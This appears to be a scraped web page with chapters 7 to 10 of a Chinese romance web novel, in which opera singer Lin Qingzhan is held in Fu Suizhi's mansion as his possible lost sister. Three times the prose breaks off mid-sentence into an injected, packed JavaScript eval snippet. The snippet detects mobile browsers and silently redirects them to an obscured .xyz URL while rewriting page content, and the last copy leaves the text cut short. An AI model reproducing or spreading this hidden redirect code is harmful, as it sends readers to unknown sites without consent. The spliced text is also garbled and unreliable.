顾蝉与她十几年闺蜜,自然了解她,她行事小心,在望月台十六年,善于结交各种人士,几乎没有得罪过什么人。 「今天傅随之突然出现,还把你带到傅府,害怕了吗?」 「说不害怕自然是假话,那人可是傅随之傅三爷。」 林青盏思量片刻,「只是我看他不像外界传闻那般——」 这句话还没打完,林青盏犹豫了后删除重打:「事出突然,我总是会有些无措。」 「这点倒是。傅随之怎么会突然找上你,这就很神奇。」 「傅随之找妹妹很疯魔这事儿估计全浮城都知道,听说他每次都会亲自确认,但是将人带回傅氏老宅,这倒是第一次听说的。」 「我待会给我哥打个电话,让他探听下情况。你不用害怕,我觉得傅随之不至于对你做出什么事情。」 顾蝉和傅随之其实接触不深,是因为顾宴迟的关系,私底下偶尔会碰面,顾蝉就跟着顾宴迟叫他一声“三哥”。 「听我哥说他是挺有手段的,做事确实雷厉风行,容不得沙子,外界传闻不是空穴来风。不过只要没触及他底线,他对于身边的人还算不错。」 「不用害怕,有什么事给我打电话。」 她虽然不在浮城,但有事让顾宴迟处理是没什么问题的。 林青盏跟顾蝉都是纪老的得意门生,两人从小一起长大,顾蝉算得上林青盏在浮城最好的朋友。 有她这句话,林青盏安心许多。 她低头刷了下手机,依旧没等到慕殇淙的消息,干脆关掉手机转身睡下。 林青盏翻来覆去一整晚都没睡好,这点倒是让她有些意外。 以往她都会跟着兰青翎四处去参加表演,也会去各地参加协会活动,她并不会认床,总是能很快适应入睡。 林青盏思考片刻,觉得跟傅府这床有很大关系。 房间里摆放着的是奢华大红酸枝木月洞式拔步大床,床两侧摆放着奢华中式柜,柜面摆放着鎏金古董花瓶,被上空悬挂着的宫廷灯照耀得极为夺目。 床上铺着的被褥是海棠花纹的,林青盏看一眼就知道这是出自高级绣娘的极品刺绣,一针一线勾勒很是巧妙,瞧着那一朵海棠花像是要绽放起来似的。 一切都很美。 可当她躺在这其中,感觉并不美好。 太过古风古韵,只会觉得很割裂很怪异,像是中式恐怖片里面的场景。 在这种境况下,她自然没办法睡好。 一大早醒来,抬眸看到床顶雕刻着的飞龙浮图,林青盏都要缓一会儿才能想起来自己身处何地。 实在受不了,林青盏起身去换衣服。 房间里摆放着精致的芙蓉花雕全身镜,她拿着那两件裙子站在镜子面前比划着看了看。 她最终选择了那件有着海棠花底纹的连衣裙,高级布料垂落下来,将她的身姿衬托得更是苗条。 她望着镜子里五官柔美的脸蛋,没有化妆简单涂了个同色系的口红,脸色这才好看些许。 她左右端详了下,脑袋里突然闪过一个念头,“傅随之会喜欢这张脸吗?” 只是一闪而过,她立马压下去,心理想着的只有怎么安然走出傅府。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969472|177770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天晚上,林青盏联系了慕殇淙的私人电话,因为怕隔墙有耳被傅随之的人听到,她是发了消息后打电话嘟了一声就挂断,主要是想让慕殇淙看到消息尽快给她回复。 她就想让慕觞淙给她透个底,这样她也做好心理准备,也知道她到底该怎么做。 让她以傅于然的身份进去傅氏,这一招真的太烂了。 虽然林青盏后背有跟傅于然一模一样的胎记,但现在医学科技很发达,只要做个亲子鉴定就能知道林青盏和傅随之没有任何血缘关系。 所以认亲这条路压根走不通。 慕觞淙有没有想过最坏的后果? 他们招惹的不是别人,是傅随之。 傅随之在浮城就是“阴狠”的代名词,他行事风格极为阴狠狠厉,传闻他十八岁那年就因为有人背叛了他,毫不留情将那人赶出傅氏,甚至连背叛者全家都被赶出浮城。 在商界里,只要是得罪过傅随之的都没有好下场,不是破产退出浮城商圈,就是以后都要夹着尾巴做人,看到傅随之得赶紧溜走,往后余生还得看傅随之心情过活,假如他一个心情不顺,很可能遭到卷土重来的惩罚。 她现在看似没有家人牵绊,但背后终归有个望月台,而且她还要找哥哥,暂时不能离开浮城。 所以她不想得罪傅随之,不想被赶出浮城。 如果这次能逢凶化吉,指不定会有不一样的结果。要是她能说服傅随之帮她找哥哥,凭借傅随之的势力,必然比她势单力薄找寻来得快。 只是她怎么让傅随之同意? 换好衣服后,她拉开房门走了出去。 昨晚夜间进了傅府一路走进来,能够看到里面很是奢华。 光是她进来的这海棠苑,挂满了精致的灯笼,遍地是唐朝时期的古董,极为铺张,更别提室内的所有布置,满是古董古物和各种高级定制的装饰,连她看到的每一件家具都是千年古木雕刻而成,让林青盏感觉像是走进了电影里的那种古韵老宅,在夜间显得有些压抑。 而白日里的海棠苑有着完全不一样的感觉。 四方院子很宽阔,三面都有屋子,黑瓦红屋檐白墙,直立而起,依旧挡不住天光从头顶倾泻而下。 小院子一隅花园种满了西府海棠,长得极为明艳。温暖的光落下,将花瓣沾染得更是夺目。 林青盏迈步走出房间,抬眸看到清澈蔚蓝的天空,修长脖颈仰起,呼吸着清新的空气,感觉全身都舒畅了许多。 她漫步走过去,纤细白皙手指捧起花瓣仔细闻了闻,香味不算浓烈,恰是刚好。 许是花香宜人,她心情好了许多,嘴角抿着笑容将旁边的白色浇水壶捞起,弯腰仔细给院子里的花儿都浇了水,还仔细为它们将溢出的水珠擦干净。 等她再抬起头时,不经意看到二楼阳台上的傅随之。 他穿着件黑色商务衬衫,高挺鼻梁顶着华丽好看的金丝眼镜,依旧遮不住那双锐利的眼眸。 他单手插兜,身姿傲然,在黑色衬衫衬托下,上位者的气势更为浓烈。 8. 第 8 章 林青盏望着他,眨了眨眼睫,心底感慨果然是精英人士,看着姿态完全不同。 而且那双眼睛着实冷得吓人。 她抿了抿唇,眉眼微微往上挑,“三爷,早呀。” 傅随之垂眸看她,眼眸深处有复杂的情绪闪过。 仅仅如此。 他没有回应她热情的招呼。 林青盏感觉无趣,将浇水壶搁下,转身想回屋里,不想二楼的傅随之开了口:“上来。” 林青盏疑惑抬眸,“啊?” “上来,二楼。” 微风吹拂,身旁的海棠花摇曳。 她站在楼下望着他,楼上的人不苟言笑,盯着她说的话命令语调十足。 林青盏自然不敢忤逆这位傅三爷,目光扫过一圈,很快找到通往二楼的楼梯,走了过去。 她心底很忐忑,好在傅随之只是叫她上去吃早餐。 古韵楼房里,搭建了宽阔的二楼,弄成了书香四溢的书房。 四周摆放着木书桌,搁置了很多书本,林青盏仔细看了眼,有一整墙都是泛黄的古书。 中央是咖色的木书桌,桌面摆放着的电脑笔记本和固话话机让这个画面有了割裂感,好像是古代画卷里突然出现了抽象的油画色彩。 身穿黑色衬衫的傅随之正坐在书桌后,手里端着黑色茶杯,抬起淡漠的眼神望向她。 这一刻,林青盏突然想到,难怪傅随之看着比其他人还严肃可怕,因为他几乎每次出现都是黑色衬衫,衣装笔挺的,像极了从电影里走出来的大Boss,不可怕才怪! 她踩着高跟鞋踏过木地板,走到书桌前,拿那双荡漾着温柔涟漪的眼眸望着他。 “三爷。” 她的声音是轻柔的,带着一丝甜腻。 傅随之好似偏偏吃这一套,对她算是和颜悦色了些,站起身指了指阳台上的饭桌,“吃早餐。” “好。” 她随傅随之走到餐桌前坐下,看到上面摆放着许多餐食,有中式的,肉包油条小菜和小米粥,也有偏西式的,黑咖啡夹心三明治等。 傅随之:“喜欢吃什么?” “我都可以,不挑的。” 林青盏抬眸看向傅随之,见他依旧紧紧盯着她,明显对她的答案不满意。 她有所领悟,又开口说道:“我平时都待在望月台,跟大家吃大锅饭长大的,所以我还是习惯早餐吃包子豆浆和粥这些。” 傅随之点头,将那碗小米粥搁在她面前。 没一会儿,傅小灵又重新添了一碗放在傅随之面前,还多备了几份小菜。 林青盏喝了口小米粥,“三爷也喜欢中式早餐?” 傅随之撩起眼皮看她,并不出声。 是旁边的傅小灵开了口,“三爷是典型的中国胃,不管是在国内还是去了国外,都得吃中餐才可以。” 林青盏点了点头,“我也喜欢中国美食,中国菜最好吃!不接受反驳!” 傅随之看了她一眼,神色很淡,随后低头继续用餐。 傅小灵:“姑娘要是喜欢美食,我就让厨师晚上多准备些,看看姑娘喜欢吃什么菜系?” “什么菜系都行,就是不要太辣。我吃不了太辣的东西。” 傅小灵看了傅随之一眼,“这点倒是和三爷不一样,三爷很喜欢吃辣。” 林青盏没料到傅小灵会说这个,转过头看向傅随之。 原本是冷若冰霜的人,现在多了个“爱吃辣”的标签,总觉得好像更有真实感了。 傅随之抬眸看傅小灵,“你先下去。” “是。” 傅小灵退下去后,林青盏一时间没开口,专心吃着早餐,偶尔抬眸看傅随之一眼。 他这人不只是脸庞犹如雕刻的般,整个人也像是设置了精密数据的机器人,坐姿笔挺,吃个早餐都像是在执行什么任务似的,没有半点言语,只是机械地重复动作。 快吃完的时候,林青盏终究没忍住,望着沉默用餐的男人,问:“三爷,你不是喜欢中式早餐吗?” 傅随之面色淡漠“嗯”了一声。 林青盏疑惑问:“那你不喜欢今早的饭食?” “没有。” 林青盏沉默了。 傅随之反倒是看向她,声音清冽:“为什么这么问?” 林青盏细眉弯弯,“就是看你表情好似很不喜欢,吃得不太高兴?” 傅随之顿了顿,眉眼间没有半分温度,那双浅棕色眼眸像是镀上一层阴冷的颜色,更是看不到里面的一丝情绪。 这女人昨天说他老,今天说他脸臭? 他低下头,声音极为清冷,“我表情就这样。” “噢。” 他眉眼上挑,身上的那股强势更加张扬,像是从天而降的雷忽然镇压下来。 “你倒是第一个敢评价我的。” 林青盏深深望着他,没有退却,反倒扬起纯净的脸蛋,眼神里满是纯真,“那你有点可怜,别人都不敢跟你说真话。” “……” 傅随之顿住,是真没想到她敢这么和他说话。 下一秒,林青盏神色露出慌乱,明显是才反应过来面前的人是谁,她这样说话自然是不妥的。 林青盏抿了抿唇,反正就当什么都没发生过吧。 她低下头继续用餐。 傅小灵吃完饭看到这边结束了,走上前来要将餐盘都收走,恰是不经意地看到傅随之眼眸深处闪过浅浅的光。 这让傅小灵非常震惊。 要知道傅随之是从来不屑于袒露任何情绪的,那双眼眸一年三百六十五天都是零度之下,今天竟然有了丝丝温度? 看来今天的“早餐”他很满意。 她端着餐盘走下楼,看到等候在楼下的傅慎,随手将端盘递给他,跟他一起转身走向厨房。 “阿慎,我刚刚好像看到三爷在笑。” 傅慎不以为然,“你看错了。” “应该不是看错。我上去要收拾东西的时候,看到三爷在和林小姐说话,嘴角弯弯的,是真的笑了。” 傅慎转头看向傅小灵,明显也很震惊。 “三爷对林小姐笑?” “对啊!”傅小灵五官很好看,整个人像是淡然的百合花,“那件事后,我都没见三爷笑过几次。” 傅慎深表赞同。 傅小灵转身看向他,“林小姐真可能是我们小姐吗?” “可能性不大。” 傅小灵和傅慎从小一起长大,傅慎在外名号“冷判官”为人极为冷漠冷酷,但他对于傅小灵终究是不一样的,有些无关紧要的话,他还是会告诉她。 傅小灵就是知道这点,所以有些事她会直接问傅慎。 “林小姐不是有跟小姐一样的疤痕?” “胎记这种东西,也可以作假。”傅慎面无表情,但目光是落在傅小灵身上的,“以往借此接近三爷的人也不少。” “以前那些伤痕一眼能看出是假的,林小姐这个看着和小姐的确实很像。”傅小灵笃定,“而且我看这位林小姐和以往的那些人倒是不一样。” 傅慎从来不轻易对人作出评价,所以他不出声回答。 “阿慎,你说可能性不大,那三爷为什么还要让林小姐住进来?” “那天老爷子这边召唤,没来得及将人送到其他地方。” “那天没空,之后也可以送,可是三爷没 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人送来了,能不能走,倒是要看傅随之的心情了,若是惹急了傅随之,他什么都干得出来。 傅随之从来没让傅鸿源舒坦过。 这次也一样。 傅鸿源找了慕觞淙,费尽心思将林青盏送过来,到底是什么目的,傅随之自然会查清。 不管结果如何,敢舞到他面前的,从来没有好果子吃。 傅小灵突然停下脚步,“三爷肯定会收拾傅鸿源,可是林小姐呢?” “那就要看她自己了。” “嗯?” “如果她真的是傅鸿源送过来的人,必然不可能有好下场。” 傅小灵挺喜欢林青盏的,抿唇感慨,“我始终觉得林小姐不像是那种人。” “最好是。” 傅慎这人不只是人看着冷,性子也是很冷的。 他以为林青盏的身份还未确定,共情或者怜悯都为时尚早。 - 露台上用餐完,林青盏喝了口茉莉花茶漱口,再抬眸看向傅随之,端正了姿态,“三爷,有件事我想问问你。” “说。” “今天晚上安排了一场戏,我待会还得去望月台做准备。可是我看这地方好像叫不到车,所以能不能麻烦你帮忙下?” 傅随之修长手指勾起茶壶,往自己茶杯里又倒了杯茶。 “我已经让秦楠联系了朝露,这几天你都不会再上台。” 林青盏神色诧异。 原本她是想着,既然被带进这海棠苑,在人家的地盘上自然是要尊重主人,想出门也得知会他一声。 但她没想到傅随之会直接拒绝,连商量都没同她商量,就直接为她请了假。 林青盏抿着嘴,对于他的擅自安排,倒是没有多恼怒,毕竟他做出什么事情她都不意外。 这种掌权人怎么可能会知道有些事得跟本人商量,但她不接受这安排,“我不能去上班了?” “这几天你先待在这里。” 林青盏很直接,“你意思是我被你禁足了,这几天哪儿也不能去?” “怎么想,随你。” “那我想去上班呢?” “不可以。” 林青盏瘪嘴,“三爷,虽然我有可能是你妹妹,但就算是你妹妹也需要能去上班的自由。而且我极大可能不是你妹妹,那你更不能限制我的自由。” 这是第一次,有人敢反抗他,还试图跟他理论。 傅随之神色不明,修长手指在木桌点了两下,“林小姐,我这里不是随便什么地方,任由你来,任由你走。” 9. 第 9 章 “林小姐,我这里不是随便什么地方,任由你来,任由你走。” 傅随之的声音低沉却不低哑,像是他这人习惯压着声音说话,显得深沉有威严,不过不得不承认声音是极为好听的。 林青盏抬眸看向他。 清晨的阳光折射进来,落在他清冷的侧脸,并不能使他脸庞温柔几分,反倒是让她看不清他眼眸深处的情绪。 以往林青盏就知道他不好惹,但那会儿没与他接触过,只是本能觉得这种人需要避让开,但这两日接触下来,她发现傅随之心思是难以猜测,可还没到无法无天强势压人的地步。 他对待海棠苑里面的人都很好,连对傅小灵那些佣人,说话都是和颜悦色的。 许是因为这些让林青盏有了他还能讲道理的错觉,林青盏竟当真想着和他辩驳辩驳。 她那如一汪清泉的眼眸望向傅随之,温柔声音再次开腔,“三爷,你讲点道理,是你生生把我挟持进来的。” “……” 傅随之差点笑出声。 竟有人敢说他挟持人? “不过一晚上,昨夜的事情,三爷总不至于忘了吧。我在望月台好好唱戏给大家伙儿听,是你——” 林青盏也知道这样跟他理论有些过了,这种人必然听不进去的,最后还是歇了声音,只重复说:“台里排了我的戏,我今天得过去上班。” 傅随之已收敛了嘴角那冷笑,依旧是那句话,“不行。” “……”林青盏没忍住嘟哝,“你这人不讲道理。” 声音很轻,但傅随之听得一清二楚。 他搁在桌面的手掌垂下来,身姿越发挺拔,像是魏松似的屹立在她面前。 “从没人敢跟我讲道理,林小姐算第一个。” 说罢,他站起身往楼下走去。 林青盏始终坐在四方桌前,听到傅随之走到院子里,对傅小灵嘱咐了句,“这几天你陪着她。” 话音落下,傅随之很快离开。 林青盏这才缓过来,垂眸看了眼自己掌心满是汗水。 她不是不怕傅随之,只是佯装镇定罢了。 傅小灵走上来时,看到林青盏还坐在方桌边,侧身望着院子的方向,眼神空洞。 林青盏五官精美,桃花眼更是漂亮,此刻脸蛋沾染着温柔的光,无端增染了一层破碎感。 傅小灵走近,声音都低了几分,“林小姐。” 林青盏收回视线,望向傅小灵时,神色已恢复如常,只是眼眸深处有着丝丝复杂情绪泛滥而过。 傅小灵看着都有些不忍心,声音柔了几分,“林小姐,三爷听说你喜欢古玩,让人送了一批货过来让你瞧着玩。你就当是多年工作休息几天,我陪你过去瞧一瞧。” 林青盏没有拒绝傅小灵的安排,左右在海棠苑里也没有什么事情,她点头答应下来,起身随着傅小灵走下楼。 傅小灵是傅随之安排过来照顾林青盏的,她自然也不敢怠慢,领着人往前走的时候,边介绍着:“林小姐,你看东边一隅天地种满了海棠花,很是茂盛,不过每年五月开始就要凋零了。” 林青盏侧身看过去,那海棠花极为好看,应当是精心栽培的。 “这次缘分也巧,原本以为前几日就要开始凋零,却不想还盛开着,应当是知道林小姐会来一趟,才这般争奇斗艳想要盛放来惹小姐开心吧。” 林青盏抿唇笑了声,“小灵你真会说话,一点也不像是这府上的人。” 傅小灵听出她的言外之意,“其实我们府上的都是能言善道的,只是他们不爱说。” 林青盏倒是没藏着掖着,“傅三爷就是那不爱说的?” 傅小灵淡然一笑,没敢在背后非议傅随之。 林青盏却是不怕的,左右他不在,而且她需要套些消息。 “他五官长得很好看,可是那双眼没有半分温度。我总觉得我跟他完全不像,我应该不是他妹妹。” 傅小灵神色没有任何变化,“其实仔细看的话,林小姐的长相和三爷是有几分相似的,自然了,神情不一样也正常。” 这世上恐怕没有几个能跟傅随之相像的,那么冷,好像靠近他一分就会被冻成冰霜似的。 但这句话傅小灵自然不敢说。 林青盏也感觉到傅小灵在某些方面的小心翼翼,改而说:“关于傅于然小姐,我听过一些传闻,说她是在府上突然消失的,傅家家大业大,找了这么些年,竟当真没有任何消息吗?” 傅小灵摇头,“当年小姐失踪时还小,压根不记得事情,丢了后府上找了许久都没消息。棠府那边,就是夫人娘家的那个棠府,也派人找寻过都没什么消息,事情就这么搁置下来了。等三爷成年掌权,已经过去很多年,找寻起来就更难。” 这点倒是真的。 林青盏之前跟顾蝉说起这件事,顾蝉闲言说了几句,说是当年傅于然是在府上丢失的,必然是府上有内鬼才能办成这件事,或许和害傅清庭的是同一批人。 那时候傅清庭和棠傛相继离世,傅随之自己都要依靠傅老爷子生活,压根无法干涉这件事,即便傅老爷子有心找寻孙女,但恶人在暗处干涉,他也不好找,而且当时他带着丧子之痛,还要照顾傅随之这根傅清庭的独苗。 找了十几年都没消息,等傅随之长大成人要去探寻必然更加艰难。 傅小灵哀叹一声,“找了这么多年,只知道当时小姐被送往海城,最终具体送到什么地方,经手的有哪些人,都找不到。消息也就这么断了。” 海城? 林青盏神色诧异。 难怪傅随之会相信慕殇淙送过去的资料,当真来找她。 因为她就是海城来的。 当年的傅于然被送到了海城,彻底失去踪迹,而林青盏是从海城而来,以往的生世不好追查。 傅于然背后有着海棠花印记,林青盏身上也恰好有同样的红印。 林青盏望着园中茂盛的海棠花,心底突然生出了一丝邪念。 即便她不是傅于然,但她身上有着傅于然的影子,这是她在傅随之面前的优势。 如果她去请求傅随之帮忙找寻哥哥,不知道他能不能看在这一点,对她伸出援手? 只是一个念头闪过,林青盏都没敢继续想这份“胆大妄为”。 这时,她们拐入旁边的长廊,走进另一个院子里。 昨夜,她随着傅随之走进海棠苑,看到了四方院子,还以为海棠苑就那一片天地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969474|177770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪成想绕过长廊还有另外一片“桃花源”。 傅小灵为她指引了下,她一眼望去竟看不到这院子的尽头,满脸诧异神色。 “姑娘你别看海棠苑这小院子不大,其实再往里面走还有九个小别苑,姑娘若是想赏花,往里走一走就是了。” 傅小灵点到为止,“不过太深的地方打扫没那么勤,姑娘可以避着点,以免脏了你的裙子。” 林青盏侧眸看她,总觉得她这话有言外之意,是提醒林青盏别乱跑? 傅小灵只是笑着,伸手推开旁边的一间屋子,林青盏抬眸便看到摆在桌面的古董,浓密眼睫眨了眨,是有些不相信的。 最前面一排摆放着明永乐青花如意垂肩折枝花果纹梅瓶、元元青花鬼谷子下山图罐、清朝青花夔龙纹贯耳方尊等等。 林青盏对古董有些许研究,是因为她跟纪老有点渊源,拜他为老师学了点皮毛,平日里又跟顾蝉一直在一起,耳濡目染的,也跟着喜欢上鉴赏古玩。 这些东西太费钱了,她是万万没有资本收藏的,就是单纯学点鉴赏的小本事。 而现在傅小灵却说:“这是三爷送给姑娘的。” 林青盏疑惑看向傅小灵:“送给我?” 要知道桌上摆放着的这五件古董,市值必然超过十亿。 傅随之都还未确定她的身份就给她送这么贵的礼物,就是为了让她观赏着玩儿? 这未免太大方了! 傅小灵点了点头,肯定地回答:“是的。不只是这些,旁边古玩室里的宝贝都是为姑娘准备的。三爷说,林小姐待着烦闷,就用来打发时间。” 林青盏随着傅小灵的动作,转过身看去,这才发现屋子右手边还有一片天地,上上下下摆满了古玩。 她不过是随意扫视一圈,已经发现好几件价值连城的古董,恐怕是连纪老看到都会爱不释手的。 林青盏心底很震惊,也从未真的想过将这些宝物占为己有,但借来鉴赏一番倒是不错。 这一天,她都待在那间古玩室内,仔细研究了几件古玩,特别是那清朝白套红玻璃寿字镯,成色非常纯,美得她都找不到言辞形容。 入夜,工作一天的傅随之才缓缓归来,迈步走进海棠苑,没看到林青盏的身影。 他转身叫来傅小灵,清列的声音划破浓墨的夜,“人在哪里?” 傅小灵随手接过他解开的黑色商务西装外套,恭敬回道:“林小姐今天都在古玩室里,瞧着很是喜欢那些古物,研究了一天。这会儿还没出来,我去叫她。” 傅随之眼眸里像是结着一层冰冷寒霜,目光从她脸庞掠过,还未开口,看到门外急匆匆赶来的秦楠。 他阴沉目光扫过去,示意他可以开口。 秦楠将手里的文件递上去,一向笑嘻嘻的人今晚却不敢有太过放肆的表情。 傅小灵感觉到事情不太对劲。 下一秒,傅随之抬起修长指骨,捏住那份薄薄的文件扯过来看了眼,那双眼眸随即像是清冷的雾四处散开,露出深处最锐利的模样。 亲子鉴定文件上清楚显示着鉴定结果:检验标本之间DNA不匹配程度较高,不具备血缘关系。 林青盏果真不是傅于然,不是他的妹妹! 10. 第 10 章 古玩室内。 林青盏穿着一袭藕粉色真丝连衣裙坐在仿古木桌前,纤细手掌戴着白色手套,捏着放大镜正在仔细端详着面前的玻璃种帝王绿手镯,看了许久,她才将手镯放回咖色锦盒里。 抬起头,她看到窗外一片黑暗,恍然天色已晚。 坐了一天,感觉脖颈略酸,手臂也酸胀得抬不起来。 林青盏坐在原地活动了两下,手肘往后推的时,不经意撞到了很结实很硬的东西,吓得她豁然转过身,就那般对上傅随之浅棕色的眼眸。 下一秒,手肘不小心撞到旁边放着的锦盒,吓得她脸色发白,压根顾不上傅随之,赶忙伸手去接。 那里面装着的古董价值堪比一座四合院呀! 傅随之也伸出手,两人同时接住锦盒,她的手在内,他则在外,傅随之手掌很是宽阔,贴着她白皙手背,像是捧着花瓣似的,几乎将她的纤细手掌都包裹住。 手背的炙热感很是烫人,但她不敢松开手,就怕她一松手那玻璃种帝王绿手镯掉落摔碎了。 她双手捧着将盒子在桌面放好,这才从傅随之掌心抽出自己的手掌。 但她没敢转身。 因为刚刚的意外,身后的傅随之手掌还捏着锦盒,这动作迫使他弯着腰,结实胸膛几乎贴在她蝴蝶骨,威严的身躯覆在她之上,无形中给了她一股强势的压迫感。 他没起身,她也不敢动,只等着他先离开。 谁知等了片刻,他也没有动作,就那样像是高大雄伟的山峦紧挨着她。 林青盏没办法,声音轻柔提醒了句,“三爷,你起来。” 许是常年唱曲习惯了,她说话的声音总是不重,轻弄软语的,落在耳廓里痒痒的。 连傅随之都不能幸免。 他垂眸看了她一眼,没有照做,而是双手撑着木桌压下去,温热气息瞬间落在她线条分明的耳廓,像是雪球般滚落下来,贴着她脖颈后面的肌肤擦过去,弄得林青盏脸颊通红。 他长得人高马大,让林青盏感觉像是被厚重的云朵包裹着,很容易喘不过气来。 偏偏傅随之像是没有感觉,还在刻意往下压着身躯,好似要将她逼到没有后路。 林青盏身体往前倾,单薄身躯几乎贴在仿古木桌上,垂下眼睫就看到他压在桌面的宽阔手背满是青色脉络,是紧绷着的,好像很是克制隐忍。 她心底有些慌,难道是结果出来了,或者是慕觞淙那边的什么安排被他发现了? 就在林青盏胸膛里那颗心脏快要跳出喉咙时,傅随之才终于缓慢地起身,压在她身上的那股强势随即消失不见。 她缓了缓胸口的那股气息,转过身看向傅随之。 他穿着一身黑色衬衫,身姿挺拔,周身透着阴沉感。 许是这两天看多了,林青盏竟然已经有些习惯他这张没有温度的冷脸,神色淡定自若,“三爷,你回来了。” 傅随之垂眸看着她,眼神里的冷雾好似消散了些许,“一整天都在这里?” “对啊。”林青盏扫了眼屋里的古玩,“虽然知道三爷你很有钱,但是没想到海棠苑里有这么多宝物。这转心瓶是清乾隆粉彩镂空“吉庆有余”,纪老之前和我说起过,说是做得巧夺天工,今天一看果然如此。” 她碎碎念了两句,见傅随之神色不太明朗。 “抱歉,我之前就喜欢研究鉴赏古玩,今天看到这些爱不释手才会借着看看。” 她指了指旁边的白色手套,“不过你放心,我懂礼数,很小心的,没有弄坏任何东西。” 傅随之终于开了口,“弄坏也无妨。” “没有——” “本来也是送给你的。” “……” 林青盏眨了眨浓密眼睫,突然间不知道怎么言语,嘀咕了声:“真没弄坏。” 她是当真喜欢古玩,今天看到这些没忍住,一整天捣鼓了半间屋子的古玩,该看的能看的都看过了一遍,虽然没有碰坏,但怎么都是把他的东西折腾了一圈,她以为傅随之是来问责的。 没想到傅随之就是过来叫她吃饭的。 林青盏和傅随之面对面坐在饭桌前,捏着白玉筷夹着菜随意往嘴里送,目光始终落在傅随之身上。 从坐下后,傅随之再没开口,端坐着,身姿挺直,神色沉着寡言,目光只落在桌上的佳肴,秉持着“食不语”的姿态优雅用餐。 林青盏看了许久,心底真的很想问他,是不是菜色不合口味?也或者他吃菜都没味道的,不然为什么他的神色没有半点变化,好像木头人? 直到晚饭结束,她都没问出口。 其实她还是怕他。 只是有一件事,她觉得自己还是需要和他好好谈谈。 用餐完,傅随之起身要离开,林青盏终于开口叫住他,“三爷。” 傅随之回眸看她。 “我明天还不能出门吗?” 傅随之没回答,而是说道:“要是喜欢那些古玩,让小灵都去给你搬出来,你可以好好去玩一玩。” 林青盏望着他那犀利的眼眸,没有退缩,“我是很喜欢那些宝物,但宝物总有看完的一天,如果屋里的古董看完了呢?你还要继续让人送过来吗?” 许是没料到她会反抗他,傅随之顿了顿,嘴角噙着漫不经心的笑,“可以,你想要多少跟小灵说就行。” 他转身要走,林青盏却不想放弃这次机会,抓住他缠着宝石袖扣的衬衫袖子,紧紧拉住,“三爷,你难道还能困住我一辈子不成?” 傅随之垂眸看她。 “之前听闻傅三爷很是在意走失的妹妹,费尽九牛二虎之力只为找到这个妹妹。恐怕也是因为这样,你才会听到一点风声和消息,就亲自前来望月台找我,亲自确认我身上的伤痕,更是想亲自确认我的身份。但你也不至于把我关起来就不让我出门了。” 林青盏望入他浅棕色眼眸,“别说我很可能不是你妹妹,就算我真的是你妹妹——” 傅随之似笑非笑看着她,就是不说话,弄得林青盏后背渐渐腾起一股凉薄感。 她坚持说下去,“你要是想保护妹妹,也该换个方式,将人困起来终究不是办法。” “那林小姐以为什么是好办法?” “……”林青盏倒是没想过这个。 傅随之往前迈出一步,高大身躯瞬间逼近她,那股强势的压迫感又席卷而来,林青盏慢慢往后退,单薄脊背紧紧贴着原木柱子。 “林小姐如此伶牙俐齿,还想不出其他法子?” 他唇角勾着冷笑,修长指尖贴着她的脸蛋往上点在她桃花眼尾,“或者这些都是借口。林小姐着急出傅府,是有什么事情急不可待要去做?” 他的指腹很烫,点在她眼尾像是要将她整张脸烧灼掉似的。 “或者着急想去见什么人?” 林青盏轻颤了下,还是坚持:“我要出傅府,回戏楼上班。” “上班?” “是啊。”林青盏坚持,“我得上班。就算我是你妹妹,我也不可能天天关在傅府里面,我要去上班。” 傅随之黝黑眼眸盯着她,明显是探究她所言是真是假,盯着看了许久,她那双眼眸依旧清纯透亮,没有任何杂念。 他是没想到她对回望月台如此执着,眉眼间的探究消散了些许,眼神依旧清冷却好像有什么改变了。 林青盏向来善于察言观色,抬眸望入他眼眸,继续问:“三爷,可以吗?” “想出门,可以。”傅随之竟然点头了。 她面露惊诧,眼睁睁看着傅随之转身离开餐厅,身影消失在黑色木门边,林青盏才诧异转身看向旁边的傅小灵,“他刚刚说什么?” 傅小灵红润嘴唇弯弯,“小姐没听错,三爷是同意你外出了。” 林青盏还是不敢相信,“他今天是怎么了?”竟然突然松口了? 傅小灵替傅随之解释,“三爷这人看着是冷了些,但对至亲之人都是很好的,对我们这些院里照顾的也一视同仁。” 她陪着林青盏回屋,“当年小姐是在府上在夫人眼皮底下,眨眼间就丢了,这一丢二十几年都找不回来。也难怪三爷担心你的安危,三爷是想将你保护在府内,安全些吧。” 在自己家里,有母亲看护着,妹妹还能被偷走,搁谁身上恐怕都会有阴影,更何况是傅随之这种性情看着就很偏执的人。 林青盏倒是也能理解。 傅小灵走进衣帽间,为她取来一件奢华晚礼服,平铺在沙发上。 林青盏疑惑,“那他为什么现在又答应让我出门了?” 这点傅小灵还真不知道,她摇了摇头,笑着说,“这么多年,我还是第一次见有人敢跟三爷理论的。姑娘当真是第一位。” 林青盏撇了撇嘴,没说话,只是垂眸悄悄擦掉掌心的汗,心底还是砰砰砰跳动着。 她只是在试探,没想到傅随之会答应。 她说要出门回望月台,一是想看看傅随之的态度,另一个也是想找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 